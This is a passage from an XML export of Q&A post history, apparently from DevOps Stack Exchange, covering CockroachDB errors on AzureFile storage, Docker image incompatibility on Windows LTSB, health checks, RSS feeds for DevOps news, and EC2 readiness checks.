done&#xD;&#xA;    Creating packetbeat      ... done&#xD;&#xA;    Creating metricbeat      ... done&#xD;&#xA;    Creating filebeat        ... done&#xD;&#xA;    Creating heartbeat       ... done&#xD;&#xA;    Creating auditbeat       ... done&#xD;&#xA;&#xD;&#xA;Navigating to http://localhost:5601 returns the kibana UI.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/elastic/stack-docker/issues/73#issuecomment-476068864&#xD;&#xA;  [2]: https://i.stack.imgur.com/kIFlT.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30059" PostHistoryTypeId="34" PostId="9909" RevisionGUID="0fd72db8-a5de-4c2a-816c-89d53552d377" CreationDate="2019-12-03T16:03:10.490" UserId="-1" Comment="44" />
  <row Id="30060" PostHistoryTypeId="2" PostId="10009" RevisionGUID="75f38ff7-225c-4702-be4d-bf6da30d8d2b" CreationDate="2019-12-03T16:03:49.310" UserId="18486" Text="Seems like, because the application has security enabled, the health check was not able to hit the / endpoint and the health check was failing.  When I removed the health check block I was able to access the application.  I'll add a globally-open health check endpoint and that should fix the problem I think." ContentLicense="CC BY-SA 4.0" />
  <row Id="30061" PostHistoryTypeId="2" PostId="10010" RevisionGUID="eb8fdcd3-2b24-40ea-a8de-4c4299f2a91f" CreationDate="2019-12-03T16:27:32.727" UserId="18471" Text="The problem is twofold:&#xD;&#xA;&#xD;&#xA;* The Win10 LTSB is on its newest version and Docker has stopped supporting this version.    &#xD;&#xA;This stops Docker from updating.&#xD;&#xA;&#xD;&#xA;* Microsoft has moved to its own container registry and in doing so abandoned support for older Docker versions. So while I was pulling from the right registry it could not find a fitting image.&#xD;&#xA;&#xD;&#xA;**Solution:** get an up-to-date, non-LTSB version of Windows&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Additional Info:     &#xD;&#xA;While the error message did not help in finding the cause the docker log did:&#xD;&#xA;&#xD;&#xA;    [WindowsDaemon  ][Info   ] debug: a Windows version 10.0.18363-based image is incompatible with a 10.0.14393 host&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="30068" PostHistoryTypeId="2" PostId="10013" RevisionGUID="0d4875b9-92a0-434a-bc6b-b23f396e7964" CreationDate="2019-12-03T17:32:06.137" UserId="18489" Text="I'm getting an error trying to run CockroachDB (v19.2.1) on AKS. I'm able to spin up cluster using the default storage class. However, when I attempt to specify AzureFile storage, I get errors.&#xD;&#xA;&#xD;&#xA;Storage class:&#xD;&#xA;```yaml&#xD;&#xA;kind: StorageClass&#xD;&#xA;apiVersion: storage.k8s.io/v1&#xD;&#xA;metadata:&#xD;&#xA;  name: cockroach&#xD;&#xA;  namespace: cockroach&#xD;&#xA;provisioner: kubernetes.io/azure-file&#xD;&#xA;mountOptions:&#xD;&#xA;  - mfsymlinks&#xD;&#xA;  - dir_mode=0777&#xD;&#xA;  - file_mode=0777&#xD;&#xA;  - uid=1000&#xD;&#xA;  - gid=1000&#xD;&#xA;  - nobrl&#xD;&#xA;  - cache=none&#xD;&#xA;parameters:&#xD;&#xA;  skuName: Standard_LRS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Helm command:&#xD;&#xA;```powershell&#xD;&#xA;helm install cockroach stable/cockroachdb `&#xD;&#xA;    --namespace cockroach `&#xD;&#xA;    --set StorageClass=&quot;cockroach&quot; `&#xD;&#xA;    --set Storage=&quot;100Gi&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The first node starts up, but the second node crashes with the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;F191203 17:07:35.042824 214 storage/store_raft.go:322  [n3,s3,r10/2:{-}] while applying snapshot: IO error: while link file to /cockroach/cockroach-data/000049.sst: /cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/0.sst: Operation not supported&#xD;&#xA;while ingesting [/cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/0.sst /cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/1.sst /cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/2.sst /cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/3.sst]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Full log:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;CockroachDB node starting at 2019-12-03 17:07:34.142182444 +0000 UTC (took 6.1s)&#xD;&#xA;build:               CCL v19.2.1 @ 2019/11/18 23:23:55 (go1.12.12)&#xD;&#xA;webui:               http://0.0.0.0:8080&#xD;&#xA;sql:                 postgresql://root@cockroach-cockroachdb-1.cockroach-cockroachdb.cockroach.svc.cluster.local:26257?sslmode=disable&#xD;&#xA;RPC client flags:    /cockroach/cockroach &lt;client cmd&gt; --host=cockroach-cockroachdb-1.cockroach-cockroachdb.cockroach.svc.cluster.local:26257 --insecure&#xD;&#xA;logs:                /cockroach/cockroach-data/logs&#xD;&#xA;temp dir:            /cockroach/cockroach-data/cockroach-temp261131495&#xD;&#xA;external I/O path:   /cockroach/cockroach-data/extern&#xD;&#xA;store[0]:            path=/cockroach/cockroach-data&#xD;&#xA;status:              restarted pre-existing node&#xD;&#xA;clusterID:           dd364f3f-7900-45f2-9a65-7a105cd7a147&#xD;&#xA;nodeID:              3&#xD;&#xA;I191203 17:07:34.153647 232 server/server_update.go:53  [n3] no need to upgrade, cluster already at the newest version&#xD;&#xA;I191203 17:07:34.191164 234 sql/event_log.go:130  [n3] Event: &quot;node_restart&quot;, target: 3, info: {Descriptor:{NodeID:3 Address:cockroach-cockroachdb-1.cockroach-cockroachdb.cockroach.svc.cluster.local:26257 Attrs: Locality: ServerVersion:19.2 BuildTag:v19.2.1 StartedAt:1575392852575521409 LocalityAddress:[] ClusterName: SQLAddress:cockroach-cockroachdb-1.cockroach-cockroachdb.cockroach.svc.cluster.local:26257} ClusterID:dd364f3f-7900-45f2-9a65-7a105cd7a147 StartedAt:1575392852575521409 LastUp:1575392800598285198}&#xD;&#xA;I191203 17:07:34.360523 214 storage/replica_raftstorage.go:794  [n3,s3,r10/2:{-}] applying LEARNER snapshot [id=ea03bb31 index=18]&#xD;&#xA;I191203 17:07:34.487170 214 storage/engine/rocksdb.go:119  [db/version_set.cc:3086] More existing levels in DB than needed. max_bytes_for_level_multiplier may not be guaranteed.&#xD;&#xA;I191203 17:07:34.508684 84 gossip/gossip.go:1531  [n3] node has connected to cluster via gossip&#xD;&#xA;I191203 17:07:34.508951 84 storage/stores.go:259  [n3] wrote 2 node addresses to persistent storage&#xD;&#xA;I191203 17:07:34.711691 214 storage/engine/rocksdb.go:119  [db/external_sst_file_ingestion_job.cc:262] AddFile() clean up for file  failed : IO error: No such file or directorywhile unlink() file: No such file or directory&#xD;&#xA;I191203 17:07:34.711725 214 storage/engine/rocksdb.go:119  [db/external_sst_file_ingestion_job.cc:262] AddFile() clean up for file  failed : IO error: No such file or directorywhile unlink() file: No such file or directory&#xD;&#xA;I191203 17:07:34.711873 214 storage/engine/rocksdb.go:119  [db/external_sst_file_ingestion_job.cc:262] AddFile() clean up for file  failed : IO error: No such file or directorywhile unlink() file: No such file or directory&#xD;&#xA;I191203 17:07:34.711893 214 storage/engine/rocksdb.go:119  [db/external_sst_file_ingestion_job.cc:262] AddFile() clean up for file  failed : IO error: No such file or directorywhile unlink() file: No such file or directory&#xD;&#xA;I191203 17:07:34.711990 214 storage/replica_raftstorage.go:815  [n3,s3,r10/2:{-}] applied LEARNER snapshot [total=351ms ingestion=4@-9223372036855ms id=ea03bb31 index=18]&#xD;&#xA;E191203 17:07:35.042651 214 util/log/crash_reporting.go:537  [n3,s3,r10/2:{-}] Reported as error 2cfee4bb679a4beb8a489e30d87ab8ea&#xD;&#xA;F191203 17:07:35.042824 214 storage/store_raft.go:322  [n3,s3,r10/2:{-}] while applying snapshot: IO error: while link file to /cockroach/cockroach-data/000049.sst: /cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/0.sst: Operation not supported&#xD;&#xA;while ingesting [/cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/0.sst /cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/1.sst /cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/2.sst /cockroach/cockroach-data/auxiliary/sstsnapshot/10/ea03bb31-e11e-40e5-99c3-053049d1f903/3.sst]&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Replica).applySnapshot&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/replica_raftstorage.go:908&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Replica).handleRaftReadyRaftMuLocked&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/replica_raft.go:526&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).processRaftSnapshotRequest.func1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:321&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).withReplicaForRequest&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:200&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).processRaftSnapshotRequest&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:262&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).receiveSnapshot&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_snapshot.go:854&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).HandleSnapshot.func1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:59&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/stop.(*Stopper).RunTaskWithErr&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/stop/stopper.go:300&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).HandleSnapshot&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:49&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*RaftTransport).RaftSnapshot.func1.1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/raft_transport.go:415&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*RaftTransport).RaftSnapshot.func1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/raft_transport.go:416&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/stop.(*Stopper).RunAsyncTask.func1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/stop/stopper.go:321&#xD;&#xA;runtime.goexit&#xD;&#xA;        /usr/local/go/src/runtime/asm_amd64.s:1337&#xD;&#xA;while applying snapshot&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Replica).handleRaftReadyRaftMuLocked&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/replica_raft.go:528&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).processRaftSnapshotRequest.func1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:321&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).withReplicaForRequest&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:200&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).processRaftSnapshotRequest&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:262&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).receiveSnapshot&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_snapshot.go:854&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).HandleSnapshot.func1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:59&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/stop.(*Stopper).RunTaskWithErr&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/stop/stopper.go:300&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).HandleSnapshot&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:49&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*RaftTransport).RaftSnapshot.func1.1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/raft_transport.go:415&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*RaftTransport).RaftSnapshot.func1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/raft_transport.go:416&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/stop.(*Stopper).RunAsyncTask.func1&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/stop/stopper.go:321&#xD;&#xA;runtime.goexit&#xD;&#xA;        /usr/local/go/src/runtime/asm_amd64.s:1337&#xD;&#xA;goroutine 214 [running]:&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/log.getStacks(0xc000438300, 0xc000438360, 0x0, 0xc0031ba280)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/log/clog.go:1017 +0xb1&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/log.(*loggingT).outputLogEntry(0x7508900, 0xc000000004, 0x6cd15ce, 0x15, 0x142, 0xc00051ac00, 0x1087)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/log/clog.go:871 +0x95b&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/log.addStructured(0x4a54f40, 0xc003763560, 0xc000000004, 0x3, 0x40d626f, 0x7, 0xc0035b5170, 0x2, 0x2)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/log/structured.go:66 +0x2cc&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/log.logDepth(0x4a54f40, 0xc003763560, 0x2, 0xc000000004, 0x40d626f, 0x7, 0xc0035b5170, 0x2, 0x2)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/log/log.go:69 +0x8c&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/log.FatalfDepth(...)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/log/log.go:199&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.maybeFatalOnRaftReadyErr(0x4a54f40, 0xc003763560, 0x4104925, 0x17, 0x49e0600, 0xc003a98600, 0x0)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/replica_raft.go:859 +0x1de&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).processRaftSnapshotRequest.func1(0x4a54f40, 0xc003763560, 0xc003694000, 0x0)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:322 +0x25f&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).withReplicaForRequest(0xc000c48300, 0x4a54f40, 0xc003763560, 0xc00077dbc8, 0xc0035b5418, 0x0)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:200 +0x16b&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).processRaftSnapshotRequest(0xc000c48300, 0x4a54f40, 0xc0035d5bf0, 0xc00077db80, 0xe5401ee131bb03ea, 0x3f9d1493005c399, 0xc000545340, 0x0, 0x0, 0x0, ...)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:262 +0x1a4&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).receiveSnapshot(0xc000c48300, 0x4a54f40, 0xc0035d5bf0, 0xc00077db80, 0x7f30769bb2c8, 0xc000369540, 0x0, 0x0)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_snapshot.go:854 +0x6d3&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).HandleSnapshot.func1(0x4a54f40, 0xc0035d5bf0, 0xc00054d320, 0x411c3aa)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:59 +0x1d9&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/stop.(*Stopper).RunTaskWithErr(0xc00054d320, 0x4a54f40, 0xc0035d5bf0, 0x411c3aa, 0x1e, 0xc00331bc30, 0x0, 0x0)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/stop/stopper.go:300 +0xeb&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*Store).HandleSnapshot(0xc000c48300, 0xc00077db80, 0x7f30769bb298, 0xc000369540, 0xc000369540, 0x30)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/store_raft.go:49 +0xe6&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*RaftTransport).RaftSnapshot.func1.1(0x4aa3720, 0xc000369540, 0xc000ca40f0, 0x4a54f40, 0xc0035d5b30, 0x78c3df, 0xc000544ff0)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/raft_transport.go:415 +0x138&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/storage.(*RaftTransport).RaftSnapshot.func1(0x4a54f40, 0xc0035d5b30)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/storage/raft_transport.go:416 +0x5d&#xD;&#xA;github.com/cockroachdb/cockroach/pkg/util/stop.(*Stopper).RunAsyncTask.func1(0xc00054d320, 0x4a54f40, 0xc0035d5b30, 0xc000075780, 0x32, 0x0, 0x0, 0xc0035d5b60)&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/stop/stopper.go:321 +0xe6&#xD;&#xA;created by github.com/cockroachdb/cockroach/pkg/util/stop.(*Stopper).RunAsyncTask&#xD;&#xA;        /go/src/github.com/cockroachdb/cockroach/pkg/util/stop/stopper.go:316 +0x131&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Do I need to specify different options in my storage class?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30069" PostHistoryTypeId="1" PostId="10013" RevisionGUID="0d4875b9-92a0-434a-bc6b-b23f396e7964" CreationDate="2019-12-03T17:32:06.137" UserId="18489" Text="Error while using AzureFile storage with CockroachDB" ContentLicense="CC BY-SA 4.0" />
  <row Id="30070" PostHistoryTypeId="3" PostId="10013" RevisionGUID="0d4875b9-92a0-434a-bc6b-b23f396e7964" CreationDate="2019-12-03T17:32:06.137" UserId="18489" Text="&lt;kubernetes&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30071" PostHistoryTypeId="2" PostId="10014" RevisionGUID="da920a59-6538-4283-814e-224bb20b979d" CreationDate="2019-12-03T19:07:38.273" UserId="15792" Text="I've had good success with DZone: https://dzone.com/devops-tutorials-tools-news.  This is a nice mix of articles, tutorials, and various publications.&#xD;&#xA;&#xD;&#xA;For Docker specific updates/news I follow: https://www.docker.com/blog/&#xD;&#xA;&#xD;&#xA;Finally, for specific cloud platforms each one seems to have their own community blogers that post updates.  For example:&#xD;&#xA;&#xD;&#xA; 1. Amazon - https://aws.amazon.com/blogs/devops/&#xD;&#xA; 2. Microsoft - https://devblogs.microsoft.com/devops/&#xD;&#xA; 3. Google - https://cloud.google.com/blog/products/devops-sre" ContentLicense="CC BY-SA 4.0" />
  <row Id="30072" PostHistoryTypeId="2" PostId="10015" RevisionGUID="15f28a40-8efc-4f07-856c-f3908d0b9685" CreationDate="2019-12-03T19:14:07.400" UserId="18489" Text="AzureFile didn't support that operation, so I tried AzureDisk and it worked. This is what I used:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;apiVersion: storage.k8s.io/v1&#xD;&#xA;kind: StorageClass&#xD;&#xA;metadata:&#xD;&#xA;  name: cockroach-disk&#xD;&#xA;  namespace: cockroach&#xD;&#xA;provisioner: kubernetes.io/azure-disk&#xD;&#xA;parameters:&#xD;&#xA;  storageaccounttype: Standard_LRS&#xD;&#xA;  kind: Managed&#xD;&#xA;  #resourceGroup: CockroachStorage&#xD;&#xA;reclaimPolicy: Retain&#xD;&#xA;allowVolumeExpansion: true&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30073" PostHistoryTypeId="52" PostId="9996" RevisionGUID="a7ddfb49-62b7-4f27-9aef-d2d81a8a2712" CreationDate="2019-12-03T19:14:26.020" />
  <row Id="30074" PostHistoryTypeId="2" PostId="10016" RevisionGUID="c287343c-3d76-4d15-9c3c-eb7d1b5e428f" CreationDate="2019-12-03T20:30:40.720" UserId="739" Text="I realize these cover much broader ground, but I see lots of useful DevOps-related stories on https://slashdot.org/ and [Hacker News](https://news.ycombinator.com/).  I also have created saved searches in Google News." ContentLicense="CC BY-SA 4.0" />
  <row Id="30075" PostHistoryTypeId="2" PostId="10017" RevisionGUID="8f2ce610-e466-4fe6-b7c2-ea141fd86f1c" CreationDate="2019-12-04T01:08:56.433" UserId="18496" Text="There is a protocol for this: [RSS](https://en.wikipedia.org/wiki/RSS), Rich Site Summary. Technically, there are 3 protocols RSS, RSS2 and Atom, but most readers support all of them, and many servers mix RSS and RSS2 features.&#xD;&#xA;&#xD;&#xA;First, choose your RSS reader, from:&#xD;&#xA;&#xD;&#xA;- browser add-ons like [Feedbro](https://nodetics.com/feedbro/),&#xD;&#xA;- centralized aggregators like [Feedly](https://feedly.com/i/welcome) and [FeedReader](http://www.feedreader.com/),&#xD;&#xA;- stand-alone applications like [RSSOwl](http://www.rssowl.org/)&#xD;&#xA;- mail clients like [Thunderbird](https://support.mozilla.org/en-US/kb/how-subscribe-news-feeds-and-blogs).&#xD;&#xA;&#xD;&#xA;Second, choose the sources you care about and subscribe to them - you're the curator and most news websites publish RSS feeds. Many don't even know about it, as CMSs like Wordpress sometimes publish an RSS feed by default. I wouldn't be surprised if it had something to do with SEO... Soon, you'll have an OPML list of your favourites.&#xD;&#xA;&#xD;&#xA;From your question:&#xD;&#xA;&#xD;&#xA;- https://kubernetes.io/feed.xml&#xD;&#xA;- https://www.docker.com/blog/feed/&#xD;&#xA;- https://ubuntu.com/blog/feed&#xD;&#xA;- https://aws.amazon.com/blogs/devops/feed/&#xD;&#xA;- https://devblogs.microsoft.com/devops/feed/&#xD;&#xA;- https://cloudblog.withgoogle.com/products/devops-sre/rss&#xD;&#xA;- https://blog.centos.org/feed/&#xD;&#xA;- https://github.blog/feed/&#xD;&#xA;&#xD;&#xA;And a few personal recommendations:&#xD;&#xA;&#xD;&#xA;- https://www.theregister.co.uk/devops/headlines.atom&#xD;&#xA;- http://feeds.arstechnica.com/arstechnica/security&#xD;&#xA;- https://xkcd.com/rss.xml&#xD;&#xA;- https://www.theregister.co.uk/data_centre/bofh/headlines.atom&#xD;&#xA;&#xD;&#xA;Many readers will have an option to search for a feeds on a website, which simplifies the search." ContentLicense="CC BY-SA 4.0" />
  <row Id="30076" PostHistoryTypeId="5" PostId="10017" RevisionGUID="19ed24df-9bad-464c-b8bf-7f0a7bb2e91c" CreationDate="2019-12-04T01:20:45.977" UserId="18496" Comment="added 36 characters in body" Text="There is a protocol for this: [RSS](https://en.wikipedia.org/wiki/RSS), Rich Site Summary. Technically, there are 3 protocols RSS, RSS2 and Atom, but most readers support all of them, and many servers mix RSS and RSS2 features.&#xD;&#xA;&#xD;&#xA;First, choose your RSS reader, from:&#xD;&#xA;&#xD;&#xA;- browser add-ons like [Feedbro](https://nodetics.com/feedbro/),&#xD;&#xA;- centralized aggregators like [Feedly](https://feedly.com/i/welcome) and [FeedReader](http://www.feedreader.com/),&#xD;&#xA;- stand-alone applications like [RSSOwl](http://www.rssowl.org/)&#xD;&#xA;- mail clients like [Thunderbird](https://support.mozilla.org/en-US/kb/how-subscribe-news-feeds-and-blogs).&#xD;&#xA;&#xD;&#xA;Second, choose the sources you care about and subscribe to them - you're the curator and most news websites publish RSS feeds. Many don't even know about it, as CMSs like Wordpress sometimes publish an RSS feed by default. I wouldn't be surprised if it had something to do with SEO... Soon, you'll have an OPML list of your favourites.&#xD;&#xA;&#xD;&#xA;From your question:&#xD;&#xA;&#xD;&#xA;- https://kubernetes.io/feed.xml&#xD;&#xA;- https://www.docker.com/blog/feed/&#xD;&#xA;- https://ubuntu.com/blog/feed&#xD;&#xA;- https://aws.amazon.com/blogs/devops/feed/&#xD;&#xA;- https://devblogs.microsoft.com/devops/feed/&#xD;&#xA;- https://cloudblog.withgoogle.com/products/devops-sre/rss&#xD;&#xA;- https://blog.centos.org/feed/&#xD;&#xA;- https://github.blog/feed/&#xD;&#xA;&#xD;&#xA;And a few personal recommendations:&#xD;&#xA;&#xD;&#xA;- https://www.theregister.co.uk/devops/headlines.atom&#xD;&#xA;- http://feeds.arstechnica.com/arstechnica/security&#xD;&#xA;- https://stackoverflow.blog//feed&#xD;&#xA;- https://xkcd.com/rss.xml&#xD;&#xA;- https://www.theregister.co.uk/data_centre/bofh/headlines.atom&#xD;&#xA;&#xD;&#xA;Many readers will have an option to search for a feeds on a website, which simplifies the search." ContentLicense="CC BY-SA 4.0" />
  <row Id="30077" PostHistoryTypeId="5" PostId="1201" RevisionGUID="b326266f-1dc1-4242-936a-9e1531bcd0b0" CreationDate="2019-12-04T01:41:58.283" UserId="2449" Comment="Minor grammar fix; deleted 7 characters in body" Text="A few of the GitHub projects I contribute to use Travis CI for build testing. However, I've noticed that some projects use  [travis-ci.org][1] for build testing, while others use [travis-ci.com][2]. Both sites seem to function identically, even down to using the same UI.&#xD;&#xA;&#xD;&#xA;**What's the difference between [travis-ci.org][1] and [travis-ci.com][2]? Why do some projects use one over the other?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://travis-ci.org/&#xD;&#xA;  [2]: https://travis-ci.com/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30081" PostHistoryTypeId="2" PostId="10019" RevisionGUID="b9bdc0c3-ae47-4b48-b349-90b2e3eb42ef" CreationDate="2019-12-04T07:11:30.753" UserId="18505" Text="Recently I was playing around a bit with AWS as a part of a course that I am doing. I came across a situation that to be honest is keeping be in vilo.&#xD;&#xA;&#xD;&#xA;I made a web application which connects to a backend that basically launches a EC2 t2.micro instance on AWS. From time to time, I pull the status of the machine to check whether it is on `running` state or note. The AMI I am using it is a configured wordpress from the marketplace.&#xD;&#xA;&#xD;&#xA;As soon as the instance gets to the `running` state, I show a message indicating the server is up and running and provide the user with the instance's public ip address, the problem is that, it is not after a few minutes later when indeed the IP is resolved/accessible. The security group attached to the instance has the inboud and outbound traffic configured to allow TCP traffic on port 80, 22 and 443.&#xD;&#xA;&#xD;&#xA;My question is, the `running` state simply means the instance is ready to work but, as far as I know, it does not mean OS has booted nor the X application (in this case wordpress and its configured server) are ready to or finished the bootstrapping. How can I check that indeed the application/OS has booted si I can ensure that when the user is trying to access the IP it will not timeout.&#xD;&#xA;&#xD;&#xA;My first attempt was to ping the instance bu to be honest I don't think it's a reliable request since, I'd also need to enable the ICMP protocol but at the end, it's working in another internet layer.&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;Javi." ContentLicense="CC BY-SA 4.0" />
  <row Id="30082" PostHistoryTypeId="1" PostId="10019" RevisionGUID="b9bdc0c3-ae47-4b48-b349-90b2e3eb42ef" CreationDate="2019-12-04T07:11:30.753" UserId="18505" Text="How to ensure EC2's OS/application is loaded?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30083" PostHistoryTypeId="3" PostId="10019" RevisionGUID="b9bdc0c3-ae47-4b48-b349-90b2e3eb42ef" CreationDate="2019-12-04T07:11:30.753" UserId="18505" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30084" PostHistoryTypeId="2" PostId="10020" RevisionGUID="6b17da66-be1f-47bd-8f4c-bea47ae5a413" CreationDate="2019-12-04T08:40:22.677" UserId="354" Text="What you are talking about is known as a health check. Typically these are handled by load balancers, to decide whether instances are &quot;healthy&quot;, and thus can serve (usually HTTP) traffic. The load balancers will poll and endpoint that you define to decide whether the instances are healthy, usually by seeing if the HTTP response code is some known-good one, like 200.&#xD;&#xA;&#xD;&#xA;One solution therefore, could be to front your application with a load balancer, and enable [health checks](https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-healthchecks.html) on the relevant urls. This will check whether your application is serving traffic properly, when polled by the load balancer. While this adds a level of complexity (and cost) to the app, it is also quite easy to do.&#xD;&#xA;&#xD;&#xA;The other option would be to set up an actual monitoring system to check whether the application is serving content. A very simple and free tool that would do the job is _e.g._ [Freshping](https://www.freshworks.com/website-monitoring/)" ContentLicense="CC BY-SA 4.0" />
